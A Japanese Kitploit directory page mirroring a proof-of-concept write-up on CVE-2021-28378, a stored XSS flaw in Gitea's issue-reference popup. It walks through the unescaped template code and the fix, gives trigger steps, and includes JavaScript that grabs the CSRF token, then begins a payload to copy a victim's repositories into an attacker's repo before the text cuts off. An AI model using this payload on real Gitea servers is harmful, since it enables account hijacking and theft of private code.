Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-28378 — CVE-2021-28378の詳細な概念実証と分析。Giteaにおける格納型XSS脆弱性で、gitフックを介した任意のコード注入、権限昇格、およびリモートコード実行を可能にします。 | Kitploit
ツール/GitHubGitHub/pandatix/cve-2021-28378
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発
GitHubpandatix/cve-2021-28378

CVE-2021-28378

CVE-2021-28378の詳細な概念実証と分析。Giteaにおける格納型XSS脆弱性で、gitフックを介した任意のコード注入、権限昇格、およびリモートコード実行を可能にします。

リポジトリを見る
4138ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-28378

このCVEの詳細はこちら。

このCVEは、サーバーから取得したコンテンツに対して、クライアント側で文字列のエスケープ処理が行われていないことをターゲットにしています。 これにより、攻撃者はIssueやPull Requestにコメントを作成するだけで、簡単に任意のコードを注入できるようになります。 これは2020年1月末のコミット7d7ab1eeae43d99fe329878ac9c8db5e45e2dee5で導入されましたが、スカッシュが行われたため、類似のバグを調査するために誰がこれを導入したのか正確にはわかりません。

まず、この脆弱性がどこから来ているのかを理解しましょう。そのために、このCVEを修正するコミットを見てみましょう。

修正前:

  • 最初:
    labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
  • 次:
    html: `
<div>
    <p><small>${issue.repository.full_name} on ${createdAt}</small></p>
    <p><span class="${color}">${svg(octicon)}</span> <strong>${issue.title}</strong> #${index}</p>
    <p>${body}</p>
    ${labels}
</div>
`

label.name、issue.repository.full_name、issue.title、bodyに対してHTMLエスケープが行われていないことがわかります。これらはユーザーが操作可能な文字列であり、そのため任意のコードを注入できます。 issue.repository.full_nameは、このCVEではバイパスできない多くのルール([\w._-]+)に従わなければならないため、実際にはコード注入に利用できないことに注意してください。 これこそがPRがhtmlEscapeでキャストすることによって修正している点です。

修正後:

  • 最初:
    labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${htmlEscape(label.name)}</div>`;
  • 次:
    html: `
<div>
    <p><small>${htmlEscape(issue.repository.full_name)} on ${createdAt}</small></p>
    <p><span class="${color}">${svg(octicon)}</span> <strong>${htmlEscape(issue.title)}</strong> #${index}</p>
    <p>${htmlEscape(body)}</p>
    ${labels}
</div>
`

脆弱性の理解

ファイルweb_src/js/features/contextpopup.jsを簡単に見て、CVEをどのようにトリガーするか把握しましょう。

...
const {AppSubUrl} = window.config;

export default function initContextPopups() {
  const refIssues = $('.ref-issue');
  if (!refIssues.length) return;

  refIssues.each(function () {
    const [index, _issues, repo, owner] = $(this).attr('href').replace(/[#?].*$/, '').split('/').reverse();
    issuePopup(owner, repo, index, $(this));
  });
}

function issuePopup(owner, repo, index, $element) {
  $.get(`${AppSubUrl}/api/v1/repos/${owner}/${repo}/issues/${index}`, (issue) => {
...
    for (let i = 0; i < issue.labels.length; i++) {
...
      labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
    }
...

    $element.popup({
      variation: 'wide',
      delay: {
        show: 250
      },
      html: `
<div>
  <p><small>${issue.repository.full_name} on ${createdAt}</small></p>
  <p><span class="${color}">${svg(octicon, 16)}</span> <strong>${issue.title}</strong> #${index}</p>
  <p>${body}</p>
  ${labels}
</div>
`
    });
  });
}

ここでわかるのは、クラスref-issueを持つノードごとに、脆弱性のあるポップアップが追加されるということです。 次に、どこでref-issueがユーザーに送られるのかを見つける必要があります。grepで調べてみましょう(テストファイルなどは除き、興味深い結果のみを保持します)。 以下のコミット番号は、このCVEの影響を受ける公式docker-compose.ymlファイルのデフォルトバージョンである1.12.4タグに対応しています。

cd gitea
git checkout 8a51c48eb6367513e0518bcd412e64f6cbfe5e1a
grep -r ref-issue

modules/markup/html.go:		replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))
modules/markup/html.go:		replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
modules/markup/html.go:		link = createLink(com.Expand(ctx.metas["format"], ctx.metas), reftext, "ref-issue")
modules/markup/html.go:			link = createLink(util.URLJoin(setting.AppURL, ctx.metas["user"], ctx.metas["repo"], path, ref.Issue), reftext, "ref-issue")
modules/markup/html.go:			link = createLink(util.URLJoin(setting.AppURL, ref.Owner, ref.Name, path, ref.Issue), reftext, "ref-issue")
modules/markup/sanitizer.go:	sanitizer.policy.AllowAttrs("class").Matching(regexp.MustCompile(`ref-issue`)).OnElements("a")

これで、クラスref-issueを持つ静的なコンテンツは存在せず、動的に生成されることがわかりました。 最後の行は単なるサニタイザーのポリシールールなので興味深くありません。他の行は興味深いものです。その理由を見ていきます。

modules/markup/html.goの中を見てみましょう。

func fullIssuePatternProcessor(ctx *postProcessCtx, node *html.Node) {
	if ctx.metas == nil {
		return
	}
	m := getIssueFullPattern().FindStringSubmatchIndex(node.Data)
	if m == nil {
		return
	}
	link := node.Data[m[0]:m[1]]
	id := "#" + node.Data[m[2]:m[3]]

	// extract repo and org name from matched link like
	// http://localhost:3000/gituser/myrepo/issues/1
	linkParts := strings.Split(path.Clean(link), "/")
	matchOrg := linkParts[len(linkParts)-4]
	matchRepo := linkParts[len(linkParts)-3]

	if matchOrg == ctx.metas["user"] && matchRepo == ctx.metas["repo"] {
		// TODO if m[4]:m[5] is not nil, then link is to a comment,
		// and we should indicate that in the text somehow
		replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))

	} else {
		orgRepoID := matchOrg + "/" + matchRepo + id
		replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
	}
}

getIssueFullPatternが何をするのかも理解する必要があります。

func getIssueFullPattern() *regexp.Regexp {
	if issueFullPattern == nil {
		appURL := setting.AppURL
		if len(appURL) > 0 && appURL[len(appURL)-1] != '/' {
			appURL += "/"
		}
		issueFullPattern = regexp.MustCompile(appURL +
			`\w+/\w+/(?:issues|pulls)/((?:\w{1,10}-)?[1-9][0-9]*)([\?|#]\S+.(\S+)?)?\b`)
	}
	return issueFullPattern
}

ここで行われている処理をまとめてみましょう。

fullIssuePatternProcessorでは、まずctx.metasがnilでないことを確認します(スタックトレースの上位の関数/メソッドで構築されるため、nilではないと仮定します)。 次に、ノードデータがhttp://mygitea.com/gituser/myrepo/issues/1のようなパスにマッチするかチェックします。マッチした場合、それをリンクに置き換えます。 リンクが同じユーザーとリポジトリに関するものであれば、#<issue_id>のパターンに置き換え、そうでなければ<user>/<repo>#<issue_id>に置き換えます。 どちらの場合も、ポップアップを生成するためにref-issueクラスが追加されます。

他のgrep結果も同様の処理を行います。

実際に試してみよう!

コンテキストがわかりました。これはhttp://mygitea.com/gituser/myrepo/issues/1のようなリンクを短いリンクに置き換える処理です。この処理がどこで行われるか推測できます。それはIssueやPRで、ラベルを追加したりコメントを投稿したりできる場所です。

ここでは、リポジトリへの書き込み権限を持っていると仮定します。

ラベル

リポジトリに移動し、任意のコードを含む名前(例:<script>alert('label.name')</script>)で新しいラベルを作成します。

Issue

リポジトリのIssuesに移動し、タイトルと本文に任意のコードを含む新しいIssueを作成し、先ほどのラベルを追加します。

コードを実行してみましょう

任意のリポジトリに新しいIssueを作成し、本文にhttp://mygitea.com/gituser/myrepo/issues/1のような、先ほど注入したIssueへのリンクを追加します。 このリンクは先ほど見たように短いリンクに置き換えられます。誰かがそのリンクにマウスを合わせると、label.nameを埋め込んだポップアップが表示され、任意のコードが実行されます。

エクスプロイトタイム

CVE-2021-28378は任意のコード注入が可能であることが証明されました。 攻撃者が何ができるか想像してみましょう。

GiteaにはCSRFトークンがあり、フォームやAPIを送信する際の身元を保証し、Giteaのiframeを埋め込んでアクセスを盗むようなセキュリティ問題を防いでいます。 CSRFトークンはクッキー(_csrf)に保存されるだけでなく、ユーザーが訪れるほぼすべてのWebページ(/api/v1/swaggerなどの一部を除く)のフィールドにも保存されています...したがって、Issue/PRのWebページにもあります。 それを含む最も興味深いフィールドは、HTMLページの共通ヘッダー部分にあり、常に同じXPath (/html/head/meta[9]) にあります。

このデータを使えば、ペイロードの影響を受けるユーザーから、JSでCSRFトークンを取得することで認証されたアクションを送信できます。そのコードは以下の通りです:(document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content。

それでは、創造力を発揮してさまざまな攻撃を構築しましょう。 ただし、いくつか制限があります:

  • label.nameとissue.titleは短くなければならないため、多くのペイロードは収まりません。ただし、src属性を持つscriptを注入して任意のスクリプトを参照させることは可能です。
  • bodyには長さ制限はありませんが、ポップアップのプレビューではデータの表示が制限されます。ペイロードをトリガーしたい場合は、先頭に配置する必要があります。ただし、前述のようにscriptとsrc属性を使用することもできます。

構築できる例をいくつか見てみましょう。

ユーザーの全リポジトリを取得する

攻撃者が自分がアクセスできるすべてのリポジトリを取得したいシナリオを想像してください。これは攻撃が機密性をすべて破壊できることを証明します。 この攻撃は3つのステップで達成されます:

  • CSRFトークンを盗む;
  • リポジトリのリストを取得する;
  • 前のステップの生のJSONコンテンツで新しいチケットを作成する。

これを行うためのJSコードを書いてみましょう:

var AppURL = "http://mygitea.com";
var HackerRepo = "/hacker/mysaferepo"

var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;
ツールをダウンロード